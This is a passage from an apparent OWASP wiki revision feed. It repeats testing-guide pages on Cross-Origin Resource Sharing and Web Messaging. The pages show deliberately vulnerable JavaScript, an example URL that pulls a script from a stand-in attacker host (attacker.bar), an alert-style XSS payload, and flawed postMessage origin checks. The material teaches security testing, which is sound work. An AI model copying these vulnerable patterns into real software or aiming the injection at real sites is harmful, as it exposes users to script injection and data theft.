req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
[[File:CORS-example.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164689</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164689"/>
				<updated>2013-12-15T19:14:18Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor addition&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Check HTTP headers in order to understand how CORS is used, in particular the Origin header to see which domains are allowed. Also, manual inspection of the JavaScript code is needed to determine if it is vulnerable to code injection vulnerable due to improper handling of user supplied input. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Request (note the 'Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response (note the 'Access-Control-Allow-Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
[[File:CORS-example.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164688</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164688"/>
				<updated>2013-12-15T19:11:15Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor formatting&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running on different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
data: The content of the incoming message&amp;lt;br&amp;gt;&lt;br /&gt;
origin: The origin of the sender document&amp;lt;br&amp;gt;&lt;br /&gt;
source: source window&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case the website failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risk so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always be verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          element.innerHTML= e.data;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being treated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164687</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164687"/>
				<updated>2013-12-15T19:09:54Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor addition&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running on different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
data: The content of the incoming message&amp;lt;br&amp;gt;&lt;br /&gt;
origin: The origin of the sender document&amp;lt;br&amp;gt;&lt;br /&gt;
source: source window&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case the website failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risk so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always be verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
